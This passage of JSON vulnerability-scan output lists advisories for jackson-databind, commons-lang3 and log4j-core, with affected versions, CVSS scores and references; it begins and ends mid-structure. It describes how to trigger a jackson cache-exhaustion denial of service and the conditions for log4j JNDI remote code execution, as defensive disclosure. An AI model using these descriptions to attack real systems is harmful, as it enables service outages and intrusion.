"2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.10", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.2.0", "2.2.0-rc1", "2.2.1", "2.2.2", "2.2.3", "2.2.4", "2.3.0", "2.3.0-rc1", "2.3.1", "2.3.2", "2.3.3", "2.3.4", "2.3.5", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.1.2", "2.4.1.3", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.5.1", "2.4.6", "2.4.6.1", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.21.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5", "2.21.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.22.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1", "2.22.2" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5", "3.1.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.2.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1", "3.2.2" ] } ], "aliases": [ "CVE-2026-91776" ], "database_specific": { "cwe_ids": [ "CWE-400" ], "github_reviewed": true, "github_reviewed_at": "2026-09-30T15:36:55Z", "nvd_published_at": "2026-09-23T03:17:04Z", "severity": "HIGH" }, "details": "### Summary\n\nWith `@JsonTypeInfo(use = Id.NAME, defaultImpl = ...)`, every distinct unknown\nraw type ID selects the same fallback deserializer but is retained as a\nseparate key in `TypeDeserializerBase._deserializers`. An attacker who can\nrepeatedly supply new unknown type IDs can grow this process-lifetime cache\nwithout a configured bound.\n\n### Details\n\nThe affected path is `TypeDeserializerBase._findDeserializer()`. After an\nunknown name-based type ID resolves to the configured fallback/default\nimplementation, jackson-databind caches the result under the attacker-provided\nraw `typeId`. Although all such IDs select the same fallback deserializer, each\nnew string remains a distinct cache key.\n\nThe behavior is runtime-confirmed in jackson-databind 2.22.1 and 3.2.1.\nCurrent 2.22 and 3.2 source branches retained the unbounded `_deserializers`\nmap and per-raw-ID cache write when rechecked. The earlier affected floor has\nnot been established, patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3.\n\nThe vulnerable application must enable name-based polymorphism with a\n`defaultImpl` or equivalent fallback, accept attacker-influenced type IDs, and\nreuse a long-lived mapper/type deserializer across requests.\n\nSuggested correction: avoid caching each unknown raw ID when every such ID\nresolves to the same fallback, use a fallback sentinel, or use an explicitly\nbounded concurrency-safe cache. A regression should contrast many distinct\nunknown IDs with repetitions of one unknown ID across requests.\n\n### PoC\n\nConfigure a polymorphic base type with\n`@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, defaultImpl = Fallback.class)` and\ndeserialize inputs containing unknown type names through the same mapper.\nInspect `TypeDeserializerBase._deserializers` after the run.\n\nOn affected 2.x and 3.x versions, 10,000 distinct unknown raw type IDs produce\n10,000 retained cache entries even though every input selects the same\nfallback deserializer. A matched control that repeats one unknown ID 10,000\ntimes produces one retained entry. This isolates attacker-controlled key\ncardinality from ordinary request count.\n\n### Impact\n\nWhere the stated polymorphic fallback configuration is exposed to\nattacker-influenced type IDs, distinct inputs cause incremental\nprocess-lifetime memory retention and eventual availability pressure or\ndenial of service. This is not claimed as a single-request allocation spike,\nand no fixed bytes-per-ID or time-to-out-of-memory value is asserted. No\nconfidentiality, integrity, or code-execution impact is claimed.\n\nRequested credit: Daniel Birtwhistle", "id": "GHSA-wv8q-qhhj-9h54", "modified": "2026-09-30T15:46:18.451708212Z", "published": "2026-09-30T15:36:55Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wv8q-qhhj-9h54" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91776" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/6203" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/2870d1d6dc1b7e1c07ee11dd5b04ab71cddbb577" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.11" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.3" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.3" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "jackson-databind retains every unknown raw type ID " } ] }, { "package": { "name": "com.google.guava:guava", "version": "33.3.1-jre", "ecosystem": "Maven", "purl": "pkg:maven/com.google.guava/guava@33.3.1-jre" } }, { "package": { "name": "org.apache.commons:commons-lang3", "version": "3.17.0", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.commons/commons-lang3@3.17.0" }, "groups": [ { "ids": [ "GHSA-j288-q9x7-2f5v" ], "aliases": [ "CVE-2025-48924", "GHSA-j288-q9x7-2f5v" ], "max_severity": "6.5" } ], "vulnerabilities": [ { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-j288-q9x7-2f5v/GHSA-j288-q9x7-2f5v.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.commons:commons-lang3", "purl": "pkg:maven/org.apache.commons/commons-lang3" }, "ranges": [ { "events": [ { "introduced": "3.0" }, { "fixed": "3.18.0" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0", "3.0.1", "3.1", "3.10", "3.11", "3.12.0", "3.13.0", "3.14.0", "3.15.0", "3.16.0", "3.17.0", "3.2", "3.2.1", "3.3", "3.3.1", "3.3.2", "3.4", "3.5", "3.6", "3.7", "3.8", "3.8.1", "3.9" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-j288-q9x7-2f5v/GHSA-j288-q9x7-2f5v.json" }, "package": { "ecosystem": "Maven", "name": "commons-lang:commons-lang", "purl": "pkg:maven/commons-lang/commons-lang" }, "ranges": [ { "events": [ { "introduced": "2.0" }, { "last_affected": "2.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0", "2.1", "2.2", "2.3", "2.4", "2.5", "2.6" ] } ], "aliases": [ "CVE-2025-48924" ], "database_specific": { "cwe_ids": [ "CWE-674" ], "github_reviewed": true, "github_reviewed_at": "2025-07-12T00:48:03Z", "nvd_published_at": "2025-07-11T15:15:24Z", "severity": "MODERATE" }, "details": "Uncontrolled Recursion vulnerability in Apache Commons Lang.\n\nThis issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.\n\nThe methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop.\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.", "id": "GHSA-j288-q9x7-2f5v", "modified": "2026-09-10T03:50:26.176912270Z", "published": "2025-07-11T15:31:37Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924" }, { "type": "WEB", "url": "https://github.com/apache/commons-lang/commit/b424803abdb2bec818e4fbcb251ce031c22aca53" }, { "type": "PACKAGE", "url": "https://github.com/apache/commons-lang" }, { "type": "WEB", "url": "https://lists.apache.org/thread/bgv0lpswokgol11tloxnjfzdl7yrc1g1" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00000.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00026.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00032.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00036.html" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2025/07/11/1" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "type": "CVSS_V3" } ], "summary": "Apache Commons Lang is vulnerable to Uncontrolled Recursion when processing long inputs" } ] }, { "package": { "name": "org.apache.logging.log4j:log4j-core", "version": "2.14.1", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1" }, "groups": [ { "ids": [ "GHSA-3pxv-7cmr-fjr4" ], "aliases": [ "CVE-2026-34480", "GHSA-3pxv-7cmr-fjr4" ], "max_severity": "6.9" }, { "ids": [ "GHSA-6hg6-v5c8-fphq" ], "aliases": [ "CVE-2026-34477", "GHSA-6hg6-v5c8-fphq" ], "max_severity": "6.3" }, { "ids": [ "GHSA-7rjr-3q55-vv33" ], "aliases": [ "CVE-2021-45046", "GHSA-7rjr-3q55-vv33" ], "max_severity": "9.0" }, { "ids": [ "GHSA-8489-44mv-ggj8" ], "aliases": [ "CVE-2021-44832", "GHSA-8489-44mv-ggj8" ], "max_severity": "6.6" }, { "ids": [ "GHSA-jfh8-c2jp-5v3q" ], "aliases": [ "CVE-2021-44228", "GHSA-jfh8-c2jp-5v3q" ], "max_severity": "10.0" }, { "ids": [ "GHSA-p6xc-xr62-6r2g" ], "aliases": [ "CVE-2021-45105", "GHSA-p6xc-xr62-6r2g" ], "max_severity": "8.6" }, { "ids": [ "GHSA-vc5p-v9hr-52mj" ], "aliases": [ "CVE-2025-68161", "GHSA-vc5p-v9hr-52mj" ], "max_severity": "6.3" } ], "vulnerabilities": [ { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-3pxv-7cmr-fjr4/GHSA-3pxv-7cmr-fjr4.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.0-alpha1" }, { "fixed": "2.25.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0", "2.0-alpha1", "2.0-alpha2", "2.0-beta1", "2.0-beta2", "2.0-beta3", "2.0-beta4", "2.0-beta5", "2.0-beta6", "2.0-beta7", "2.0-beta8", "2.0-beta9", "2.0-rc1", "2.0-rc2", "2.0.1", "2.0.2", "2.1", "2.10.0", "2.11.0", "2.11.1", "2.11.2", "2.12.0", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.13.0", "2.13.1", "2.13.2", "2.13.3", "2.14.0", "2.14.1", "2.15.0", "2.16.0", "2.17.0", "2.17.1", "2.17.2", "2.18.0", "2.19.0", "2.2", "2.20.0", "2.21.0", "2.21.1", "2.22.0", "2.22.1", "2.23.0", "2.23.1", "2.24.0", "2.24.1", "2.24.2", "2.24.3", "2.25.0", "2.25.1", "2.25.2", "2.25.3", "2.3", "2.3.1", "2.3.2", "2.4", "2.4.1", "2.5", "2.6", "2.6.1", "2.6.2", "2.7", "2.8", "2.8.1", "2.8.2", "2.9.0", "2.9.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-3pxv-7cmr-fjr4/GHSA-3pxv-7cmr-fjr4.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "3.0.0-alpha1" }, { "last_affected": "3.0.0-beta3" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0-alpha1", "3.0.0-beta1", "3.0.0-beta2", "3.0.0-beta3" ] } ], "aliases": [ "CVE-2026-34480" ], "database_specific": { "cwe_ids": [ "CWE-116" ], "github_reviewed": true, "github_reviewed_at": "2026-04-10T21:16:41Z", "nvd_published_at": "2026-04-10T16:16:31Z", "severity": "MODERATE" }, "details": "Apache Log4j Core's [`XmlLayout`](https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout), in versions up to and including 2.25.3, fails to sanitize characters forbidden by the [XML 1.0 specification](https://www.w3.org/TR/xml/#charsets), producing invalid XML output whenever a log message or MDC value contains such characters.\n\nThe impact depends on the StAX implementation in use:\n\n * **JRE built-in StAX**: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records.\n * **Alternative StAX implementations** (e.g., [Woodstox](https://github.com/FasterXML/woodstox), a transitive dependency of the Jackson XML Dataformat module): An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j's internal status logger.\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output.", "id": "GHSA-3pxv-7cmr-fjr4", "modified": "2026-09-10T03:50:42.492278990Z", "published": "2026-04-10T18:31:17Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34480" }, { "type": "WEB", "url": "https://github.com/apache/logging-log4j2/pull/4077" }, { "type": "PACKAGE", "url": "https://github.com/apache/logging-log4j2" }, { "type": "WEB", "url": "https://lists.apache.org/thread/5x0hcnng0chhghp6jgjdp3qmbbhfjzhb" }, { "type": "WEB", "url": "https://logging.apache.org/cyclonedx/vdr.xml" }, { "type": "WEB", "url": "https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout" }, { "type": "WEB", "url": "https://logging.apache.org/security.html#CVE-2026-34480" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2026/04/10/9" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N", "type": "CVSS_V4" } ], "summary": "Apache Log4j Core: Silent log event loss in XmlLayout due to unescaped XML 1.0 forbidden characters" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6hg6-v5c8-fphq/GHSA-6hg6-v5c8-fphq.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.12.0" }, { "fixed": "2.25.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.12.0", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.13.0", "2.13.1", "2.13.2", "2.13.3", "2.14.0", "2.14.1", "2.15.0", "2.16.0", "2.17.0", "2.17.1", "2.17.2", "2.18.0", "2.19.0", "2.20.0", "2.21.0", "2.21.1", "2.22.0", "2.22.1", "2.23.0", "2.23.1", "2.24.0", "2.24.1", "2.24.2", "2.24.3", "2.25.0", "2.25.1", "2.25.2", "2.25.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6hg6-v5c8-fphq/GHSA-6hg6-v5c8-fphq.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "3.0.0-alpha1" }, { "last_affected": "3.0.0-beta3" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0-alpha1", "3.0.0-beta1", "3.0.0-beta2", "3.0.0-beta3" ] } ], "aliases": [ "CVE-2026-34477" ], "database_specific": { "cwe_ids": [ "CWE-297" ], "github_reviewed": true, "github_reviewed_at": "2026-04-14T00:11:55Z", "nvd_published_at": "2026-04-10T16:16:30Z", "severity": "MODERATE" }, "details": "The fix for CVE-2025-68161 was incomplete: it addressed hostname verification only when enabled via the [`log4j2.sslVerifyHostName`](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property, but not when configured through the [`verifyHostName`](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) attribute of the `\u003cSsl\u003e` element.\n\nAlthough the `verifyHostName` configuration attribute was introduced in Log4j Core 2.12.0, it was silently ignored in all versions through 2.25.3, leaving TLS connections vulnerable to interception regardless of the configured value.\n\nA network-based attacker may be able to perform a man-in-the-middle attack when all of the following conditions are met:\n\n * An SMTP, Socket, or Syslog appender is in use.\n * TLS is configured via a nested \u003cSsl\u003e element.\n * The attacker can present a certificate issued by a CA trusted by the appender's configured trust store, or by the default Java trust store if none is configured.\n\nThis issue does not affect users of the HTTP appender, which uses a separate [`verifyHostname`](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#HttpAppender-attr-verifyHostName) attribute that was not subject to this bug and verifies host names by default.\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue.", "id": "GHSA-6hg6-v5c8-fphq", "modified": "2026-09-10T03:50:43.570169134Z", "published": "2026-04-10T18:31:17Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34477" }, { "type": "WEB", "url": "https://github.com/apache/logging-log4j2/pull/4075" }, { "type": "PACKAGE", "url": "https://github.com/apache/logging-log4j2" }, { "type": "WEB", "url": "https://lists.apache.org/thread/lkx8cl46t2bvkcwfcb2pd43ygc097lq4" }, { "type": "WEB", "url": "https://logging.apache.org/cyclonedx/vdr.xml" }, { "type": "WEB", "url": "https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName" }, { "type": "WEB", "url": "https://logging.apache.org/security.html#CVE-2026-34477" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N", "type": "CVSS_V4" } ], "summary": "Apache Log4j Core: `verifyHostName` attribute silently ignored in TLS configuration" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-7rjr-3q55-vv33/GHSA-7rjr-3q55-vv33.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.13.0" }, { "fixed": "2.16.0" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.13.0", "2.13.1", "2.13.2", "2.13.3", "2.14.0", "2.14.1", "2.15.0" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-7rjr-3q55-vv33/GHSA-7rjr-3q55-vv33.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.4.0" }, { "fixed": "2.12.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.11.0", "2.11.1", "2.11.2", "2.12.0", "2.12.1", "2.4", "2.4.1", "2.5", "2.6", "2.6.1", "2.6.2", "2.7", "2.8", "2.8.1", "2.8.2", "2.9.0", "2.9.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-7rjr-3q55-vv33/GHSA-7rjr-3q55-vv33.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.8.0" }, { "fixed": "1.9.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.8.0", "1.8.1", "1.8.2", "1.8.3", "1.8.4", "1.8.5", "1.8.6", "1.8.7", "1.9.0", "1.9.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-7rjr-3q55-vv33/GHSA-7rjr-3q55-vv33.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.10.0" }, { "fixed": "1.10.8" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.10.0", "1.10.1", "1.10.2", "1.10.3", "1.10.4", "1.10.5", "1.10.6", "1.10.7" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-7rjr-3q55-vv33/GHSA-7rjr-3q55-vv33.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.11.0" }, { "fixed": "1.11.11" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.11.0", "1.11.1", "1.11.10", "1.11.2", "1.11.3", "1.11.4", "1.11.5", "1.11.6", "1.11.7", "1.11.8", "1.11.9" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-7rjr-3q55-vv33/GHSA-7rjr-3q55-vv33.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "2.0.0" }, { "fixed": "2.0.12" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.1", "2.0.10", "2.0.11", "2.0.2", "2.0.3", "2.0.4", "2.0.5", "2.0.6", "2.0.7", "2.0.8", "2.0.9" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-7rjr-3q55-vv33/GHSA-7rjr-3q55-vv33.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.3.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0", "2.0-alpha1", "2.0-alpha2", "2.0-beta1", "2.0-beta2", "2.0-beta3", "2.0-beta4", "2.0-beta5", "2.0-beta6", "2.0-beta7", "2.0-beta8", "2.0-beta9", "2.0-rc1", "2.0-rc2", "2.0.1", "2.0.2", "2.1", "2.2", "2.3" ] } ], "aliases": [ "CVE-2021-45046" ], "database_specific": { "cwe_ids": [ "CWE-502", "CWE-917" ], "github_reviewed": true, "github_reviewed_at": "2021-12-14T17:55:00Z", "nvd_published_at": "2021-12-14T19:15:00Z", "severity": "CRITICAL" }, "details": "# Impact\n\nThe fix to address [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a remote code execution (RCE) attack. \n\n## Affected packages\nOnly the `org.apache.logging.log4j:log4j-core` package is directly affected by this vulnerability. The `org.apache.logging.log4j:log4j-api` should be kept at the same version as the `org.apache.logging.log4j:log4j-core` package to ensure compatability if in use.\n\n# Mitigation\n\nLog4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (\u003c 2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).\n\nLog4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property `log4j2.formatMsgNoLookups` to `true` do NOT mitigate this specific vulnerability.", "id": "GHSA-7rjr-3q55-vv33", "modified": "2026-10-02T20:30:05.438504645Z", "published": "2021-12-14T18:01:28Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45046" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujul2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujan2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/alert-cve-2021-44228.html" }, { "type": "WEB", "url": "https://www.openwall.com/lists/oss-security/2021/12/18/1" }, { "type": "WEB", "url": "https://www.openwall.com/lists/oss-security/2021/12/15/3" }, { "type": "WEB", "url": "https://www.openwall.com/lists/oss-security/2021/12/14/4" }, { "type": "WEB", "url": "https://www.kb.cert.org/vuls/id/930724" }, { "type": "WEB", "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.html" }, { "type": "WEB", "url": "https://www.debian.org/security/2021/dsa-5022" }, { "type": "WEB", "url": "https://www.cve.org/CVERecord?id=CVE-2021-44228" }, { "type": "WEB", "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-45046" }, { "type": "WEB", "url": "https://security.gentoo.org/glsa/202310-16" }, { "type": "WEB", "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd" }, { "type": "WEB", "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032" }, { "type": "WEB", "url": "https://logging.apache.org/security.html#CVE-2021-45046" }, { "type": "WEB", "url": "https://logging.apache.org/log4j/2.x/security.html" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SIG7FZULMNK2XF6FZRU4VWYDQXNMUGAJ" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EOKPQGV24RRBBI4TBZUDQMM4MEH7MXCY" }, { "type": "WEB", "url": 